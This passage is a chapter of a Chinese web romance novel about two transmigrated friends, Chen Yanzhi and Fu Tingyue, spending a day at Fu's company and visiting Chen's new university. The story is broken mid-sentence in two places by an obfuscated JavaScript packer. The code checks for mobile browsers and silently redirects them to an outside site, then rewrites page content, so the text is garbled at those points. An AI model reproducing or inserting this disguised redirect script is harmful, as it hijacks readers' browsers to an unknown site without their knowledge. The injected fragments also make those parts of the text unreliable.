傅亭樾点头:“还可以。” 陈砚知并未过多纠结,砰的一下把沙漏放回原位,拍拍傅亭樾的肩膀跟他说:“那就这个吧,和我之前选的专业一样,也算是弥补遗憾了。” 傅亭樾立马让人去安排,转头看到陈砚知没骨头似的瘫在椅子上,他无奈说:“一周后入学,这边采取的是学分制,修满学分就能直接毕业,我让人给你办走读,怕你不习惯住宿。” 原身一年多就修满所有学分提前毕业,虽然现在他才22岁,但已经大学毕业快两年了,并且修的还是双学位。 傅亭樾觉得陈砚知估计也差不多两年能修满学分,说不定更快。 陈砚知在哪儿转椅子玩,听到傅亭樾说话,他停下仰头靠在椅子上冲傅亭樾露出一个大大的笑容:“谢谢小傅。” 傅亭樾把椅子转回来,用脚踩着椅子脚对陈砚知说:“在家无聊就跟我去公司,晚上带你去吃好吃的。” 陈砚知还没跟他去过公司呢,今天正好带他去露个脸。 陈砚知仍旧懒洋洋地靠着,白皙的脖颈扬起一个漂亮的弧度,喉结上下滑动:“去公司也只能看着你工作,不是更无聊吗?” 傅亭樾将视线从陈砚知的喉结和锁骨上收回来,若无其事地整理资料,“就当陪陪我。” 陈砚知抬头看着傅亭樾,眸底划过一丝狡黠的笑意:“那你求我。” 傅亭樾没有任何犹豫:“求你。” “诚意不够。”陈砚知玩上瘾了,忍不住得寸进尺,“你说求陈砚知大发慈悲陪陪我。” 傅亭樾像个没有感情的复读机:“求陈砚知大发慈悲陪陪我。” 陈砚知嘁了一声:“人机。” 傅亭樾并未反驳,拍拍陈砚知的肩膀说:“走吧。” 陈砚知不想动,自然地朝傅亭樾伸手。 傅亭樾上下扫了他一眼:“怎么,想让我抱你?” 陈砚知往傅亭樾腿上踹了一下,笑骂道:“去你的。” 傅亭樾伸手把人从椅子上拽起来,自然地帮陈砚知整理衣服和头发。 陈砚知被弄得有点痒,拍开傅亭樾的手抓了抓头发自己先走了。 傅亭樾揉搓了一下手指,试图将指尖残留的余温拭去,却适得其反,那丝热意顺着指尖一路挠进心口,让他心痒难耐。 陈砚知不知道傅亭樾的煎熬,上车后他左看看右看看,“傅亭樾,你怎么又换车了。” 傅亭樾把保姆给陈砚知做的甜点放好,随口说道:“合作商送的,回头你去考个驾照,我给你买。” 陈砚知瘫在座椅上,一副懒得不行的模样,“我不想考,你给我当司机不行吗?” 傅亭樾瞥了一眼司机打量的视线,毫不犹豫地点头:“行。” 陈砚知满意地拍拍傅亭樾的腿,仰头闭着眼露出一张漂亮的脸,唇角挂着淡淡的笑:“好样的小傅,你越来越懂事了,再接再厉。” 傅亭樾摇头失笑,眸底都是宠溺。 司机见状和一旁的保镖快速交换了一个眼神,对于这位新雇主的身份他们一开始就很清楚,也知道他性格冷淡。 但似乎和陈砚知在一起的时候他总是会露出不一样的一面,宠的没边了,完全不像普通朋友,但陈砚知看起来又只是把傅亭樾当朋友。 傅亭樾一个冷眼扫过去,两人的八卦之心瞬间熄灭,车内气氛安静到有些诡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372472|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异,陈砚知倒是睡得很香,他昨熬夜带林叙白打游戏没休息好,这会儿正困着呢,哪里有心思关注其他人。 到公司的时候陈砚知还没醒,因为是傅亭樾把他叫醒的,这会儿他正拧着眉头瞪傅亭樾,无声表达不满。 从小到大陈砚知的起床气大的没边,上初高中的时候早上睡不够,每天傅亭樾很早就去接他,陈砚知的起床气几乎都撒在傅亭樾身上了。 但气头过了之后他会跟傅亭樾道歉,其实傅亭樾根本就没生气,反而觉得陈砚知发脾气很可爱,像只炸毛的小猫。 这不,发完脾气的陈砚知凑到傅亭樾面前满脸歉意:“抱歉,我这毛病太难改了。” 傅亭樾把外套挂到架子上,随意扣开衬衣最上方的两颗扣子,将袖子卷到手肘处才跟陈砚知说:“不用改,反正你也不会对别人这样。” 陈砚知趴在办公桌上,手闲不住这儿碰碰那儿摸摸,“那你不觉得我烦吗?” 傅亭樾搬了个椅子放在陈砚知身后,语气温柔道:“你不是从小就这样么,不烦。” 很可爱。 陈砚知料到傅亭樾会这么说,他拍拍手坐在椅子上,自然地翘起二郎腿,“你今天的工作安排就是在办公室处理文件吗?” 傅亭樾让助理送了点吃的喝的进来,在陈砚知对面坐下,“等会儿有个会,结束后还得见一下合作方。” 陈砚知趴在桌子上叹了口气:“好忙哦。” 傅亭樾嗯了一声:“我尽量快点忙完。” 傅家的公司主要业务是房地产和旅游业,事情确实很多,而且最近傅亭樾在着手发展自己的产业,事情就更多了。 助理很快就送了很多吃的进来,陈砚知吃着家里阿姨做的甜品,喝着冰咖啡不走心地问:“我能帮你做点什么吗?” 傅亭樾把纸巾放到陈砚知面前,忍着亲自上手帮他擦嘴的冲动,“在这儿陪我就行,不用你帮忙。” 陈砚知把手上的泡芙全部塞进嘴里,鼓着腮帮子吐槽:“你怎么跟小学生似的,写作业还得有人陪着。” 傅亭樾笑着点头:“嗯,就当我是个小学生好了。” “厚脸皮,你都多少岁了还小学生呢。”陈砚知说着,拿起一个泡芙递给傅亭樾。 傅亭樾不爱吃甜品,但陈砚知鲜少亲自喂他,他张嘴含住,口腔里都是奶油的味道,腻得他眉头一皱。 陈砚知喝了口冰咖啡,啧啧道:“好吃吧。” 傅亭樾端起没加糖的咖啡喝了一口,嘴里的味道稍淡了些,他违心道:“好吃。” 原本不好吃,但陈砚知喂的就好吃。 陈砚知眸底划过一丝狡黠的笑,又拿了一个递过去,“再给你一个,别说我亏待你。” 傅亭樾看着纤细指尖捏住的泡芙犯了难,他实在不喜欢,但又不想错过被陈砚知投喂的机会。 好在这时有人敲门,傅亭樾暗自松了口气说“进”。 陈砚知转头把泡芙塞到嘴里咬了一口,似笑非笑地看着傅亭樾。 其实他知道傅亭樾不喜欢吃甜的,就是忍不住想折磨他。 陈砚知偶尔会觉得自己有点变态,看到傅亭樾那么顺从,他就想使劲欺负他,有种难以言喻的爽感。 18. 第18章 在公司陪了傅亭樾一个下午,陈砚知觉得自己头顶都快长蘑菇了,尤其是傅亭樾去开会那几个小时,他简直无聊透顶。 好在傅亭樾让他的秘书进来陪陈砚知聊天解闷,他这才稍稍好点儿。 彼时陈砚知呈大字型瘫在沙发上,头靠在扶手上,整个人犹如被抽走了魂魄,要死不活地喊:“姜秘书,傅亭樾什么时候回来?” 姜秘书看了一眼墙上的挂钟,语气温和:“大概还得半个小时左右。” “好漫长好漫长。”陈砚知翻过来趴在沙发上,仰头一脸祈求地看着姜秘书,“我能出去玩吗?傅亭樾回来之后你跟他说一声。” 姜秘书被那张漂亮的脸勾得差点点头答应,回神后他连忙垂下眼往后退了一步,“抱歉陈先生,傅总说他回来之前您只能待在这儿。” 陈砚知在心里把傅亭樾骂了几句,起身靠在沙发上问:“姜秘书,你从什么时候开始跟着傅亭樾的?” 姜秘书应该不是傅家那边的人,因为傅亭樾很信任他。 姜秘书笑着说:“我和傅总是大学同学,毕业后傅总引荐我进了公司就一直跟着傅总。” 陈砚知摸着下巴点头:“原来如此。” 难怪傅亭樾信任他,原来他们是朋友关系,不过姜秘书估计不知道傅亭樾换了个芯。 姜秘书随意问道:“陈先生跟傅总是怎么认识的?” 他和傅亭樾认识许多年,从来没听说过陈砚知这号人的存在,而且看起来傅亭樾对陈砚知很不一般,两人像是认识了很多年,两人待在一起的时候有种旁人插不进去的感觉。 陈砚知苦恼地挠挠头,思索一番才说:“怎么说呢,你可以理解为我们两个从小就认识,但后来因为一些事情分开了,前段时间刚重逢。” 说完陈砚知顿觉自己聪明,居然能想出这么完美的说法,这下姜秘书肯定不会怀疑了。 姜秘书闻言,脑补了一出两人从小是很好的玩伴,但因为傅亭樾的家世被迫分开,长大后再度重逢的温情大戏,眼眶都红了。 在他的印象里傅亭樾一直都是个孤零零的人,但在陈砚知面前他变得完全不一样,特别有人味儿。 姜秘书背过身揉了揉眼睛,语气庆幸道:“你们能重逢真的太好了。” 陈砚知点头附和:“嗯嗯,我也觉得。” 要是没重逢,现在他还在奶茶店摇奶茶呢。 傅亭樾回来就看到姜秘书红着眼眶,他拧着眉头看了陈砚知一眼,心想会不会是陈砚知把姜秘书给打哭的,但姜秘书是个Alpha,体格身高都比陈砚知优越,应该不至于…… 姜秘书还在抹眼泪,傅亭樾忍不住询问:“你哭什么?” “没,我还有点工作,先去处理一下。”姜秘书说完就直接走了,乍一看像是在害怕。 傅亭樾一头雾水,转头看向没骨头似的瘫在沙发上的陈砚知。 “知知,你动手打他了?” 陈砚知一脸茫然:“谁?” 傅亭樾叹了口气:“姜秘书。” 陈砚知摇头:“没有啊,我只是跟他说我们两个从小就认识,后来因为一些事情被迫分开前两天才重逢,他就感动成那样了,估计是脑补了什么狗血大戏。” 傅亭樾无奈摇头,心想应该是陈砚知说得太夸张,不过误会了也好,省的他再去解释。 陈砚知啧啧两声:“姜秘书也是个性情中人。” 傅亭樾不置可否,拿上外套对陈砚知说:“走吧,带你去吃饭。” “你忙完了?”陈砚知感觉自己的魂回来了一点,人也有精神了。 傅亭樾看着他那副模样,没忍住笑了一下,“忙完了。” 陈砚知直接从沙发上弹跳起来,拍拍身上不存在的灰尘原地蹦了两下,“你再忙不完我就要自己去玩儿了,干坐着真的好无聊。” 傅亭樾笑着摇摇头,对于从小好动的陈砚知来说,就这么干等确实煎熬。 但他愿意为了他在这儿等一个下午,傅亭樾心情瞬间变得很好,哪怕陈砚知突然从背后袭击一头撞到他背上他也不生气,反而温声提醒他慢点。 陈砚知把头让人背上一撞,直接不起来了,就这么抵着傅亭樾往外走,双手耷拉着犹如丧尸一般。 “饿死了,没力气。” 傅亭樾语气充满无奈:“好好走,等会儿摔了,过去就直接能吃饭。” 陈砚知耍赖似的靠在傅亭樾背上不肯起来,“你帮我看着就不会摔了。” 这层楼除了傅亭樾的助理和秘书之外没有其他员工,专用电梯直达地下停车场,陈砚知一点儿也不担心被人看到。 傅亭樾也由着他耍赖,甚至还出声提醒:“马上到电梯口了。” 助理在后面看得下巴都快掉地上了,手指飞快敲击屏幕给姜秘书发消息聊八卦,如果不是怕被傅亭樾察觉,他甚至想拍两张照片作“铁证”。 上了电梯后陈砚知还是没骨头地靠在傅亭樾身上,嘴里嚷嚷着饿。 傅亭樾忍着笑意问他:“陈砚知,你的肚子是个无底洞吗?” 除却从家里带来的甜品,姜秘书还给陈砚知买了很多吃的喝的,他全吃完了,现在又喊饿,有些时候傅亭樾真的好奇陈砚知那点平坦的肚子怎么能装得下那么多东西。 “那点甜品又不抗饿,而且我一直玩手机也很消耗体力的,我可是一个成年男生,饭量好也很正常不是么。” 陈砚知一边吐槽一边抱怨:“还说养我呢,这才养了多久就嫌我能吃……” 傅亭樾无奈失笑:“你又故意曲解我的意思,我只是在关心你。” 陈砚知哼了一声,他当然知道了,这不是等太久心里有点怨气需要发泄一下嘛。 傅亭樾主动凑过去让陈砚知靠在他身上,强忍着上手捏他脸的冲动,语气带着一丝哄人的意味:“好了,别生气,我让人准备的都是你喜欢吃的,保准让你吃饱。” 助理背对着两人疯狂打字,这跟哄男朋友有什么区别,天老爷,太好磕了。 陈砚知往旁边挪了一步,双手环胸一脸傲娇:“谁生气了,说得我多小气似的,我是在谴责你,谴责你懂吗?” 傅亭樾一本正经地点头:“懂,谴责得好。” 陈砚知明显被哄高兴了,嘴边的笑容都快压不住了,嘴上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372473|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得说一句:“太没底线了我也要谴责你的。” 傅亭樾突然来了一句:“只对你没底线。” 陈砚知满脸嫌弃地撇撇嘴:“有点恶心,以后少说这种话,好像那种上了年纪的油腻老男人。” 傅亭樾被骂笑了,“你是越来越难伺候了。” 陈砚知傲娇地抬起下巴跨出电梯,语气充满得意:“那能怎么办,你受着呗。” 他在别人面前不会这样,纯纯就是傅亭樾纵容的。 傅亭樾没说谎,两人刚到酒店就能直接吃饭,陈砚知嘴上喊饿,其实没吃多少就饱了,拿着筷子戳碗里的饭。 傅亭樾让他吃不下就放着,别强迫自己吃,陈砚知如蒙大赦,把筷子放下等傅亭樾吃完。 等会儿他们得去学校看一眼,提前熟悉环境。 对于自己未来的学校陈砚知还是挺向往的,毕竟他在那个世界还没来得及入学呢。 有些时候陈砚知挺佩服傅亭樾的,突然穿到这儿,没有任何过度直接就要上手管理公司,还不能被人察觉到异样,明明傅亭樾和他同岁,但却能把这些事情处理得很好,管理公司也手到擒来,一点儿也不生疏。 包厢里只有他们两个,陈砚知没什么顾忌地问:“傅亭樾,你刚来的时候有没有害怕过?” 傅亭樾顿了顿,缓缓说道:“怕不能和你重逢,其他的没有。” 陈砚知拔高音量:“突然上手管理公司也不怕?” 傅亭樾摇摇头:“有些手忙脚乱,但不怕。” 他从高中开始就利用假期去公司学习,倒也不算完全新手,而且他有原主的记忆,住院修养那段时间正好熟悉公司业务,他唯一害怕的是无法和陈砚知重逢,其他的他都不担心。 陈砚知大方的对傅亭樾竖起大拇指,“你真是天生的管理者,我爸以前经常这么夸你。” 陈砚知就不行了,他家里产业很大,但他对管理公司完全没兴趣,家里人也不逼他,反正他不想管就花钱雇人管,所以陈砚知从小到大都过得很开心。 傅亭樾难得幼稚,盯着问陈砚知:“你呢,你不觉得我厉害吗?” 陈砚知不吝夸奖:“当然厉害啊。” 傅亭樾心情很好地勾起唇角,动作优雅地擦了擦嘴起身,“走吧,带你去学校看看。” 陈砚知慢吞吞地跟在傅亭樾身后,好奇得四处打量。 这儿是傅家旗下的餐厅,经理见傅亭樾和陈砚知离开,忙不迭打电话汇报情况。 傅亭樾以前都是独来独往,身边突然多了个人,免不得引人注目,加上傅家树大招风,傅亭樾又恰好到了适婚年龄,不少人想把家里的少爷小姐介绍给傅亭樾,万一能搭上傅家这艘大船,以后可就水涨船高了。 因此陈砚知如今在整个上流圈子已经如同透明人,从小到大的所有经历都被整齐罗列在调查表上,递到了权贵们的桌子上。 对于这些陈砚知并不关心,他对学校很满意,和傅亭樾逛了好几个小时才离开。 回家的路上他倒头就睡,傅亭樾见他睡得不舒服,小心翼翼地捧着陈砚知的脸让他靠在自己身上,唇角勾起满足的笑容。